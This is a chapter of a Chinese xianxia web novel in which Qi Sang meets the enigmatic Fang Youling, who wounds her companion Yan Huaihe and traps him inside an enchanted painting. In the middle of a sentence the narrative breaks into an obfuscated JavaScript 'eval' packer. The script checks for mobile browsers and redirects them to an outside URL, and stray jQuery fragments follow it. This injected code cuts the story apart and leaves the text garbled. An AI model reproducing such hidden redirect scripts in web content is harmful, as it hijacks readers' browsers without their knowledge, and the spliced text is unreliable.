202. 千秋昭岁(十七)

作品:《师妹她不斩心上人

    浮华界,烨烨霞光之下,碧瓦朱墙,云烟袅袅,犹似天上华贵的宫殿,盛景华庭。


    两道水蓝色的身影并肩而行。


    他们身上灵气浅淡,又沾染些许妖气,倒是不好辨认二人来处。但大多人也没多少注意放在他们两人身上,皆是行色匆匆而去。


    “本来我是不信的——原来我们两个真的算修为最差一列的啊……”祁桑垂头叹道,收回打量四周的视线,神情有些恹恹,感到一丝若有似无的挫败感。


    他们所在之处乃是一座浮空的空中楼阁,云雾托着,雾气蒙蒙。


    行人大多匆匆而过,目标明确,像他们两个漫无目的闲逛的,少见。


    面前路过的行人大多衣着不凡,修为更是深不可测,她这才对“九餮鲲座”的热闹有了一定认识,想必前来赴会的人身份都不同寻常。


    祁桑的视线瞥过一人手中攥住的泛着温润光泽的琥珀石,这东西暗含特异的灵力,叫做“灵珀”。


    交易宝物,买卖消息,别的拍卖行或是珍宝阁也可为,但九餮鲲座特殊便特殊在它可以产出一块“饕灵珀”。


    此灵珀石会根据提供的宝气不同,效用也会相应变化,而这块饕灵珀九餮鲲座的负责人不理会,由宝主自行处理。


    来人除去少部分是为秘境中的灵气而来,大部分都是为这“饕灵珀”而专程跑一趟。


    毕竟“饕灵珀”只有餮天鲲能孕育,这世上已知的餮天鲲也就妖荒的这一尾,算得上绝无仅有。


    怀有这些目的的人林林总总也占九成,而最后一成,则是为一人而来。


    此人既不是这餮天鲲背后之主,也不是什么有名有姓的大人物,只是个名不见经传的人——“方游灵”,一介平平无奇的神秘人。


    听闻,每回的“九餮鲲座”他必会到访,没有一次缺席。


    此人来历不明,修为境界如何,也不被他人所探知。可他有一方砚台,虽不在神器之列,但效用不凡,号称无所不晓。


    你想要问的,这砚台都能告知于你。当然,越是因果深重的东西,代价越大。


    知晓愁忧树果下落的人一般只有四时谷王脉,更是不会将其轻易泄露出来。如今四时谷妖君冼折月也对仙妖两地的关系保持观望态度,求助于他,不如自己去找别的法子。


    晏淮鹤不觉得能在熙熙攘攘的这群人里面,正巧碰到知道他所需要的消息的人。是以,从一开始,他的目的就是这位会混迹于人群里、找寻乐趣的方游灵。


    没错,乐趣。


    这人性格乖张,随性而行,只有被他选中的人才能见到他的真面目。


    祁桑两人头一回来这餮天秘境之中,将浮华界四通八达的路认全已是勉强,去大海捞针找一个不认识的人,根本没什么头绪。


    他们便打算分头去找一阵,约定一个时辰后在最开始的那座石桥上碰面。


    可没过多久,祁桑便发觉一件十分异常的事。


    自己竟然走不出这里,哪怕一直向前,也只会再回到这座桥的附近,像是陷入什么阵法之内,自己却没能察觉丝毫。


    等她意识到此事的异样,试图以拇指圈着的那根魂丝感应晏淮鹤的方位时,却不得其法。


    尝试多次,亦无果。


    他们被特意分开了。


    祁桑神色凝重,沉下心去思索此地异样之处。


    不远处有一阁楼,时不时有三两人推门而入,可不消片刻便见那些人从后门而出,观其神情,稍显失落。


    祁桑便想自己既然走不出去,不如上前看个究竟,且看看这大门紧闭的楼阁之内藏着何种玄机。


    一刻后,她站在门口细看一会儿,才推门而入。


    楼内摆设简易风雅,正中的那面墙上挂着幅山水的水墨画,两侧各置一把琴,右侧无弦,而左侧琴身断裂。除此之外,这地上铺着的居然是玄玉,一脚踏上,会有如水波的亮光从脚底荡开。


    两扇门在她身后自动合上。


    祁桑借着荧荧烛光才依稀看清那画卷下端的地杆竟是以灵珀制成的,顺着画卷往上看,虽看不真切,但料想这一对天地杆都是以饕灵珀为料,好大的手笔。


    此地主人,若不是餮天鲲背后之主,想必该是他们今日所寻的那人。


    她抬步往里走,打算在楼中寻一寻人,还没走上台阶,便见一白衣人自二楼现身,走下楼梯。


    此人瞧着不过二十七、八的模样,容貌清癯,秀拔云骨,腰佩玉带金饰,烨然从容。


    恍惚间,祁桑似乎看到他眉心有一枚明灭可见的道印,再定睛一看,却是什么也没有。


    白衣男子温然一笑,看向她问:“这位小友,来我抒灵馆所为何事?”


    “舒灵?”祁桑没听过这名,觉得很是新奇。她对上他的视线,微愣,觉得心底涌上一丝熟悉,但这张脸她确实是第一回见。


    白衣人温笑而言:“不错,抒怀通灵,以达玄妙。某与小友一见如故,也算缘分。”


    那白衣男子走上前来,停在她面前一步之外,神情温和儒雅,朝她抬起了手。


    他逼近那一刻,祁桑感知到绵密而未能完全收束的灵压波动,心底蓦然一惊。


    火劫境?


    不对,是水劫境修为——


    她还未来得及做出反抗,眼前这人却是相当熟稔地抬手拍了拍她的头,一股清圣透冷的灵风自头顶灌下,替她引出驳杂的多余灵气。


    再下一刻,眉心的清心扣闪了两下,明明灭灭,而后彻底黯淡无光,竟然是直接失去效用,被这人随随便便封印起来。


    “就算有神兽根基,百年之内接连进阶,而后又是直接以秘法贯通剩下的半身灵脉,勉强达到平衡……”白衣男子一边低喃,一边借由灵风查探完她全身的经脉,长眉一压,颇为不认同,语重心长道,“至少闭关一甲子,好生梳理梳理,才能免去后续之忧。”


    祁桑听得莫名,这人叮嘱这些话的神情很像是什么长辈才会摆出的,先不说这人一眼便认出她身上的神兽血脉,居然连她在佾城梦境中以秘法强行提升修为也说了个大差不差——


    她心底有了成算,后退半步,直截了当问:“阁下便是手持无愿砚的方游灵前辈?”


    白衣男子闻言,微微颔首,默认下这个身份。


    他抬眼看向前方,神色淡漠,缓


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15203804|164501||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    慢将五指张开,一枚通体赤金的长锥随之浮于他的掌心之上。


    祁桑似有所感,顺着他视线的方向回过头看去。


    大门又被一人推开,方才和她意外分开的晏淮鹤正喘着气站定在几步之外的地方。


    方才察觉此地有异时,他便以魂丝牵系为感应,马不停蹄寻来这里,还没能理清此地玄机,便感到一股来势汹汹的杀意迎面覆压而来。


    “快离开!祁桑……”他下意识唤她的名字,目光与那人对上时,眼底不由得凝了一片冷霜。


    祁桑摸了下额头,发觉清心扣只是暂时失去效用,眼前的方游灵前辈并无恶意,便迎着晏淮鹤的方向往他那里走去,同时指着白衣男子解释道:“晏淮鹤,这位就是——”


    话说到一半,风声呼紧。


    有什么锋利无比的东西擦着祁桑的发丝,直直刺向晏淮鹤。


    立于她身后的方游灵姿态放松,将手中的锥杵轻轻推出,没有多余的动作。


    可脱手的金质长锥如光矢离弦,咻一声,飞了出去。


    水劫境的人若对她怀有杀意,那无论他掩饰得再好,以她如今的修为,神魂依旧会感到莫名的窒息绝望,如同陷入一张无法逃脱的巨网,惘然而无力。


    可并没有。


    方游灵对她确无杀意。


    所以,她确确实实没什么防备。


    利刃刺入血肉的声音鼓动着耳膜,祁桑反应过来时,脸上溅上几滴血,温热的,粘稠的,黏在皮肤上,瞬间凝固,仿佛成了一块陈年旧疤。


    锥杵钉入门板,发出闷响。


    在她还没有意识到发生何事时,祁桑便已然下意识往他那处跑去,赶在那长锥之后,却阻止不及。


    血,似乎落入眼中,晕开薄薄的一层血雾。


    她的视线开始聚焦,大片大片的鲜血在眼底绽开,她终于看清发生何事——晏淮鹤的右肩被洞开一个口子,霎时血肉模糊。


    祁桑的呼吸一下子轻缓下来,她去扶他,想要确认他的伤势,可晏淮鹤只是咬牙不吭声,拉过她伸来的那只手将沉甸甸的一方石印推到她怀里。


    是那枚主印方天,尖尖的棱角硌得她手掌的肌肤刺痛发烫。


    白衣人温润的嗓音落在耳中令人顿生寒意,他淡淡一笑:“有求而来,必先付出代价,是生还是死,入画一观才好。”


    话音落,半身染血的晏淮鹤便被一股巨力拽起,毫不客气地丢去了那幅水墨画中。


    对上水劫境修为之人,他们连反抗的余地都没有。


    “晏淮鹤!”


    祁桑只来得及抓住他的一截衣角,裂帛之声响起,手中唯余一块衣角残布。


    水墨山水荡开涟漪,墨色在画中游走,最后归于寂静。


    浮生卷幻境——一种刻于图画上的空间阵法,引人浮生一梦,忘我忘返,最后只能成为画中的一部分。


    而出手的人神色淡然,如若不是那带血的长锥看来触目惊心,没有人会觉得这样一个人会在谈笑风生间,毫无缘由伤了晏淮鹤,还将他关入画中。


    此浮生卷的落款,并无署名,只题了一句话——“道是无晴却有情”。